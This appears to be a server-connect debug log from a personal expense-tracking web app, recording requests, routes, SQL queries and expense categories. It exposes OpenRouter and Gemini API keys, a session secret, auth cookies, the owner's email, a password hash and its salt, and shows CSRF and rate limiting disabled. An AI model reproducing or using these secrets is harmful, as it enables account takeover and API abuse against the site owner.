    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:30.403Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T12:01:38.720Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-02-24T12:01:38.898Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-02-24T12:01:38.990Z server-connect:setup:upload Upload middleware configured.
2026-02-24T12:01:38.990Z server-connect:secure CSRF Protection initialized
2026-02-24T12:01:38.992Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-02-24T12:01:38.993Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-02-24T12:01:38.995Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-02-24T12:01:38.996Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-02-24T12:01:38.997Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-02-24T12:01:38.998Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-02-24T12:01:39.001Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-02-24T12:01:39.002Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-02-24T12:01:39.002Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-02-24T12:01:39.002Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-02-24T12:01:39.003Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-02-24T12:01:39.003Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-02-24T12:01:39.003Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-02-24T12:01:39.004Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-02-24T12:01:39.004Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-02-24T12:01:39.004Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-02-24T12:01:39.005Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-02-24T12:01:39.005Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-02-24T12:01:39.006Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-02-24T12:01:39.006Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-02-24T12:01:39.007Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-02-24T12:01:39.007Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-02-24T12:01:39.008Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-02-24T12:01:39.008Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-02-24T12:01:39.009Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-02-24T12:01:39.009Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-02-24T12:01:39.009Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-02-24T12:01:39.009Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-02-24T12:01:39.010Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-02-24T12:01:39.010Z server-connect:setup:routes Api route /api/test(.json)? created
2026-02-24T12:01:39.117Z server-connect:router Serving serverConnect /api/access-control/login
2026-02-24T12:01:39.129Z server-connect:app Executing action step identify
2026-02-24T12:01:39.129Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:39.181Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-24T12:01:39.192Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-24T12:01:39.246Z server-connect:output identity: 1
2026-02-24T12:01:39.246Z server-connect:app Executing action step login
2026-02-24T12:01:39.246Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-02-24T12:01:39.249Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-24T12:01:39.293Z server-connect:output identity: 1
2026-02-24T12:01:39.293Z server-connect:app Executing action step restrict
2026-02-24T12:01:39.293Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:01:39.295Z server-connect:output restrict: undefined
2026-02-24T12:01:39.547Z server-connect:router Serving templateView /
2026-02-24T12:01:39.548Z server-connect:app Executing action step identify
2026-02-24T12:01:39.548Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:39.548Z server-connect:output identity: 1
2026-02-24T12:01:39.548Z server-connect:app Executing action step restrict
2026-02-24T12:01:39.548Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:01:39.549Z server-connect:output restrict: undefined
2026-02-24T12:01:39.549Z server-connect:app Executing action step restrict
2026-02-24T12:01:39.549Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:01:39.550Z server-connect:output restrict: undefined
2026-02-24T12:01:39.550Z server-connect:router Render template layouts/main
2026-02-24T12:01:39.551Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffcc-lOLJe98fISNE1HKYAhP7dwYzAH4"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffcc-lOLJe98fISNE1HKYAhP7dwYzAH4"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-24T12:01:40.505Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:01:40.506Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:01:40.506Z server-connect:app Executing action step identify
2026-02-24T12:01:40.506Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:40.507Z server-connect:output identity: 1
2026-02-24T12:01:40.507Z server-connect:app Executing action step restrict
2026-02-24T12:01:40.507Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:01:40.507Z server-connect:app Executing action step identify
2026-02-24T12:01:40.507Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:40.507Z server-connect:output identity: 1
2026-02-24T12:01:40.508Z server-connect:app Executing action step restrict
2026-02-24T12:01:40.508Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:01:40.508Z server-connect:output restrict: undefined
2026-02-24T12:01:40.509Z server-connect:app Executing action step select
2026-02-24T12:01:40.509Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:01:40.511Z server-connect:output restrict: undefined
2026-02-24T12:01:40.511Z server-connect:app Executing action step single
2026-02-24T12:01:40.511Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:01:40.513Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:01:40.516Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:01:45.716Z server-connect:router Serving templateView /emis
2026-02-24T12:01:45.716Z server-connect:app Executing action step identify
2026-02-24T12:01:45.716Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:45.716Z server-connect:output identity: 1
2026-02-24T12:01:45.717Z server-connect:app Executing action step restrict
2026-02-24T12:01:45.717Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:01:45.717Z server-connect:output restrict: undefined
2026-02-24T12:01:45.717Z server-connect:router Render template emis
2026-02-24T12:01:45.718Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
